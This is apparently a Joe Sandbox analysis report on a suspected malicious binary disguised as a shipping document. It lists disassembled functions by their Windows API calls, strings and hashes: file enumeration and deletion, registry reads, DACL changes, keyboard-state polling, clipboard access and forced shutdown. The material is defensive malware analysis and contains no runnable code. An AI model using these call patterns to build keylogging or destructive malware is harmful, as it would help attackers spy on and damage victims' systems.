REG_BINARY, xrefs: 00E80DD8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 9eb1ffa456a3a6baa18d15495984a444034d63e00e4f8762da28840b39d38113
Instruction ID: d9fd5a4ac70d878c3c481031f9f5f4b5f285ad274927bfd577f06eb96498af97
Opcode Fuzzy Hash: 9eb1ffa456a3a6baa18d15495984a444034d63e00e4f8762da28840b39d38113
Instruction Fuzzy Hash: 84025E752006119FCB14EF28C855E6AB7E5FF88714F04985DF989AB3A2CB34ED45CB81

Function 00E16841 Relevance: 24.6, Strings: 19, Instructions: 889COMMON

Download Yara Rule

Strings

BSR_UNICODE), xrefs: 00E5168E
ANY), xrefs: 00E51634
UCP), xrefs: 00E51463
CRLF), xrefs: 00E51617
ANYCRLF), xrefs: 00E51651
0D, xrefs: 00E16893
0F, xrefs: 00E168A7
NO_START_OPT), xrefs: 00E514A5
pG, xrefs: 00E168B1
Oa, xrefs: 00E517BB, 00E51862, 00E5190A
0E, xrefs: 00E1689D
LIMIT_MATCH=, xrefs: 00E514C6
NO_AUTO_POSSESS), xrefs: 00E51484
LF), xrefs: 00E515FA
CR), xrefs: 00E515DD
BSR_ANYCRLF), xrefs: 00E51674
UTF16), xrefs: 00E51425
LIMIT_RECURSION=, xrefs: 00E51552
UTF), xrefs: 00E51450

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID: 0D$0E$0F$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$Oa$UCP)$UTF)$UTF16)$pG
API String ID: 0-2251986989
Opcode ID: 13e6db9623818f93338d991bd1a334229a311236028690efbdecabf9a71f055c
Instruction ID: cbbb5bd105de7cc2bde4e65d879ac45d3703ba964647f380b9f52eb5fc54ea66
Opcode Fuzzy Hash: 13e6db9623818f93338d991bd1a334229a311236028690efbdecabf9a71f055c
Instruction Fuzzy Hash: DB728E75E002199BDB24DF59D8407EEB7F5FF48314F1494AAE819BB280EB709E85CB90

Function 00E6F17E Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00E6F19F
_wcscmp.LIBCMT ref: 00E6F1B4
_wcscmp.LIBCMT ref: 00E6F1CB

Part of subcall function 00E643C6: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00E643E1

FindNextFileW.KERNEL32(00000000,?), ref: 00E6F1FA
FindClose.KERNEL32(00000000), ref: 00E6F205
FindFirstFileW.KERNEL32(*.*,?), ref: 00E6F221
_wcscmp.LIBCMT ref: 00E6F248
_wcscmp.LIBCMT ref: 00E6F25F
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6F271
SetCurrentDirectoryW.KERNEL32(00EB8920), ref: 00E6F28F
FindNextFileW.KERNEL32(00000000,00000010), ref: 00E6F299
FindClose.KERNEL32(00000000), ref: 00E6F2A6
FindClose.KERNEL32(00000000), ref: 00E6F2B8

Strings

*.*, xrefs: 00E6F21C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: dfbb621f87fe863d9e33c041d1ed235561e0efdec227d50dbe877ecf3847e9c1
Instruction ID: ac6e13e9b2a46d10150b857259ae2dea8ee33b7f92b22ef3f41d50da0e13e2c0
Opcode Fuzzy Hash: dfbb621f87fe863d9e33c041d1ed235561e0efdec227d50dbe877ecf3847e9c1
Instruction Fuzzy Hash: 8831C0365416196EDB10AFA5FC68AEE77AC9F453A8F102171E808B21B1DB30DE85CF54

Function 00E6A279 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00E6A299
__swprintf.LIBCMT ref: 00E6A2BB
CreateDirectoryW.KERNEL32(?,00000000), ref: 00E6A2F8
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00E6A31D
_memset.LIBCMT ref: 00E6A33C
_wcsncpy.LIBCMT ref: 00E6A378
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00E6A3AD
CloseHandle.KERNEL32(00000000), ref: 00E6A3B8
RemoveDirectoryW.KERNEL32(?), ref: 00E6A3C1
CloseHandle.KERNEL32(00000000), ref: 00E6A3CB

Strings

\??\%s, xrefs: 00E6A2B5
:, xrefs: 00E6A2DC
\, xrefs: 00E6A2D1

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 9c016a1742530db0d0642bce4dae6782742a8e08227c0147b5b2b46d867cee64
Instruction ID: 637abb18fa0b188170c14596d7f99449395f7f24d58a1e672eaebfd2a41039ed
Opcode Fuzzy Hash: 9c016a1742530db0d0642bce4dae6782742a8e08227c0147b5b2b46d867cee64
Instruction Fuzzy Hash: B531C0B1940119ABDB209FA1EC49FEF73BCEF88740F1451B6FA08F6160E77096448B24

Function 00E581D4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5852A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E58546
Part of subcall function 00E5852A: GetLastError.KERNEL32(?,00E5800A,?,?,?), ref: 00E58550
Part of subcall function 00E5852A: GetProcessHeap.KERNEL32(00000008,?,?,00E5800A,?,?,?), ref: 00E5855F
Part of subcall function 00E5852A: HeapAlloc.KERNEL32(00000000,?,00E5800A,?,?,?), ref: 00E58566
Part of subcall function 00E5852A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E5857D

Part of subcall function 00E585C7: GetProcessHeap.KERNEL32(00000008,00E58020,00000000,00000000,?,00E58020,?), ref: 00E585D3
Part of subcall function 00E585C7: HeapAlloc.KERNEL32(00000000,?,00E58020,?), ref: 00E585DA
Part of subcall function 00E585C7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00E58020,?), ref: 00E585EB

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00E58238
_memset.LIBCMT ref: 00E5824D
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00E5826C
GetLengthSid.ADVAPI32(?), ref: 00E5827D
GetAce.ADVAPI32(?,00000000,?), ref: 00E582BA
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00E582D6
GetLengthSid.ADVAPI32(?), ref: 00E582F3
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00E58302
HeapAlloc.KERNEL32(00000000), ref: 00E58309
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00E5832A
CopySid.ADVAPI32(00000000), ref: 00E58331
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00E58362
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00E58388
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00E5839C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: b6127928acc1f444c26549ec6c1f1bf1a5d1494384a7ba4844d931f359a4597b
Instruction ID: 831cfb9abe10efc03366efa06339264f6e7df425a3e22fbf7f53d2a6b851b6dd
Opcode Fuzzy Hash: b6127928acc1f444c26549ec6c1f1bf1a5d1494384a7ba4844d931f359a4597b
Instruction Fuzzy Hash: 5C616671A0020AEFDF10CFA5DD45AEEBBB9FF04706F148529F915B6291DB319A09CB60

Function 00E80465 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E80EA5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E7FE38,?,?), ref: 00E80EBC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E80537

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00E805D6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00E8066E
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00E808AD
RegCloseKey.ADVAPI32(00000000), ref: 00E808BA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: b0aefbd1b974e385177b04794012e905d4847d2eeb0e64f28aeea76c466aefac
Instruction ID: bf0734acc9595bebdc9fdd46151f1016b40b0bc594bb8a62ccfbcd660d880a73
Opcode Fuzzy Hash: b0aefbd1b974e385177b04794012e905d4847d2eeb0e64f28aeea76c466aefac
Instruction Fuzzy Hash: D5E16031204210AFCB54EF29C895D6ABBE4EF88714B04996DF44DEB2A2DB30ED45CF51

Function 00E14140 Relevance: 16.9, APIs: 1, Strings: 8, Instructions: 1132COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00E14520
Oa, xrefs: 00E14984, 00E480A2
ERCP, xrefs: 00E1421F
VUUU, xrefs: 00E144ED
0D, xrefs: 00E1446C
0D, xrefs: 00E14392
VUUU, xrefs: 00E144DB
VUUU, xrefs: 00E47A3B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID: 0D$0D$ERCP$Oa$VUUU$VUUU$VUUU$VUUU
API String ID: 0-4146286616
Opcode ID: e8a773843e99e8488560b7ac8e0c61c5892d8109ab4916c4087aa2e4de867d9f
Instruction ID: af7713d2c8447f4f2876abc89be244a274296e56cfbe4aa2dc5d7db490d8f8a3
Opcode Fuzzy Hash: e8a773843e99e8488560b7ac8e0c61c5892d8109ab4916c4087aa2e4de867d9f
Instruction Fuzzy Hash: B2A26CB4E0421A8BDF24CF58D9907EDB7B1BB54318F2491AAD85AB7380D7709EC5CB90

Function 00E6003A Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00E60062
GetAsyncKeyState.USER32(000000A0), ref: 00E600E3
GetKeyState.USER32(000000A0), ref: 00E600FE
GetAsyncKeyState.USER32(000000A1), ref: 00E60118
GetKeyState.USER32(000000A1), ref: 00E6012D
GetAsyncKeyState.USER32(00000011), ref: 00E60145
GetKeyState.USER32(00000011), ref: 00E60157
GetAsyncKeyState.USER32(00000012), ref: 00E6016F
GetKeyState.USER32(00000012), ref: 00E60181
GetAsyncKeyState.USER32(0000005B), ref: 00E60199
GetKeyState.USER32(0000005B), ref: 00E601AB

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 729a3fd35cff73da77ae43ee2d1ccd223e0723ca18b7d51cee4dc148f7091398
Instruction ID: 1e9927837f069d81d6d4d78f939c6a9c7edd1759bbe2fcb03ec9d6dcfb96bee3
Opcode Fuzzy Hash: 729a3fd35cff73da77ae43ee2d1ccd223e0723ca18b7d51cee4dc148f7091398
Instruction Fuzzy Hash: B1412C305857E96EFF708B60A8043B7BEA0AF12388F08549AC5C5675C2EBD49DC8C792

Function 00E784D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

CoInitialize.OLE32 ref: 00E78518
CoUninitialize.OLE32 ref: 00E78523
CoCreateInstance.OLE32(?,00000000,00000017,00E92BEC,?), ref: 00E78583
IIDFromString.OLE32(?,?), ref: 00E785F6
VariantInit.OLEAUT32(?), ref: 00E78690
VariantClear.OLEAUT32(?), ref: 00E786F1

Strings

Invalid parameter, xrefs: 00E7860F
NULL Pointer assignment, xrefs: 00E785C8
Failed to create object, xrefs: 00E7858E, 00E78644

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 222656bd9ba34283b3cef96adf6fa49288bc8c600cef0e0581b887c8832b31e4
Instruction ID: fdb9fa0854315788b6a55255f780c0d307ace785aa4a4715623461e12930b6b6
Opcode Fuzzy Hash: 222656bd9ba34283b3cef96adf6fa49288bc8c600cef0e0581b887c8832b31e4
Instruction Fuzzy Hash: C461B170648301AFC710DF64CA49B5BBBE4AF58714F00991DF989BB291DB70ED48CB92

Function 00E7427A Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00E742A1
EmptyClipboard.USER32 ref: 00E742A7
GlobalAlloc.KERNEL32(00000002,?), ref: 00E742BC
CloseClipboard.USER32 ref: 00E7435B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 3ad6efa39337a2ad95a4933e21fc10b481a3273320b63c5868beca101a0eddb3
Instruction ID: ee155cf02176e9a3470d6e09ef7c168a6f94a40c78d027fb448c47a48b334d74
Opcode Fuzzy Hash: 3ad6efa39337a2ad95a4933e21fc10b481a3273320b63c5868beca101a0eddb3
Instruction Fuzzy Hash: 79219C35200610AFDB15AF65EC49B6D77E8EF44711F10802AF94AFB2B2DB30AC55DB94

Function 00E63833 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E048AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E048A1,?,?,00E037C0,?), ref: 00E048CE

Part of subcall function 00E64AD8: GetFileAttributesW.KERNEL32(?,00E6374F), ref: 00E64AD9

FindFirstFileW.KERNEL32(?,?), ref: 00E638E7
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00E6398F
MoveFileW.KERNEL32(?,?), ref: 00E639A2
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00E639BF
FindNextFileW.KERNEL32(00000000,00000010), ref: 00E639E1
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00E639FD

Strings

\*.*, xrefs: 00E63892, 00E6389B, 00E638B0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 6818389e600ca8cce45f2101778c4879205a356dc3b8b1fcf492d430e722183d
Instruction ID: f2a985eb60ae487b33ea1a15a09a4d0915c834b33ea9d2765fc3346d0720a055
Opcode Fuzzy Hash: 6818389e600ca8cce45f2101778c4879205a356dc3b8b1fcf492d430e722183d
Instruction Fuzzy Hash: 8851BF3184510DAACF05EBA0EE929EDB7B8AF14340F246169E446770D2EF306F49CFA0

Function 00E6F47F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00E6F4CC
Sleep.KERNEL32(0000000A), ref: 00E6F4FC
_wcscmp.LIBCMT ref: 00E6F510
_wcscmp.LIBCMT ref: 00E6F52B
FindNextFileW.KERNEL32(?,?), ref: 00E6F5C9
FindClose.KERNEL32(00000000), ref: 00E6F5DF

Strings

*.*, xrefs: 00E6F4B1

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 8604bb5f133650329f263d46376c08e5fcc42e61cff0c19db347dbc071e9b0e5
Instruction ID: 7f461c1309c3c16206f4ed84a91df33fa5e99dcc324143074a4453e6a6fe2c13
Opcode Fuzzy Hash: 8604bb5f133650329f263d46376c08e5fcc42e61cff0c19db347dbc071e9b0e5
Instruction Fuzzy Hash: 5441807194121AAFCF10DFA4EC54AEE7BB4FF04354F145566E819B32A1DB309E84CB90

Function 00E158C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E15A05
_memmove.LIBCMT ref: 00E15A55
_memmove.LIBCMT ref: 00E15ABB

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d30efe3df12f08c431763924fd24c5b1d2f1754656728a114139448cbede5f0d
Instruction ID: 7cb25583ec675986ddd5c0be25237d1a27e64f8407329d5e2ccb2e726924f732
Opcode Fuzzy Hash: d30efe3df12f08c431763924fd24c5b1d2f1754656728a114139448cbede5f0d
Instruction Fuzzy Hash: C9129871A00609DFDF14CFA5DA81AEEB3F5FF88300F105A29E846B7291EB35A955CB50

Function 00E15680 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00E20F36: std::exception::exception.LIBCMT ref: 00E20F6C
Part of subcall function 00E20F36: __CxxThrowException@8.LIBCMT ref: 00E20F81

_memmove.LIBCMT ref: 00E505AE
_memmove.LIBCMT ref: 00E506C3
_memmove.LIBCMT ref: 00E5076A

Strings

yZ, xrefs: 00E50800, 00E5077E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID: yZ
API String ID: 1300846289-3798167742
Opcode ID: 053961aba1bd31846d2f4247c50a9e4686a5ce9c174867d06dbd8733d74e4b6e
Instruction ID: ad159bcfae678620ba5abe75abbb3a5f3b1a9def55674b8fc0f5bab4b7466168
Opcode Fuzzy Hash: 053961aba1bd31846d2f4247c50a9e4686a5ce9c174867d06dbd8733d74e4b6e
Instruction Fuzzy Hash: 8202CD71A00209DFDF14DF64D982AAEBBF5EF84300F149469F846EB295EB30DA55CB90

Function 00E65264 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58AA3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E58AED
Part of subcall function 00E58AA3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E58B1A
Part of subcall function 00E58AA3: GetLastError.KERNEL32 ref: 00E58B27

ExitWindowsEx.USER32(?,00000000), ref: 00E652A0

Strings

@, xrefs: 00E65293
SeShutdownPrivilege, xrefs: 00E65270
, xrefs: 00E6528E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
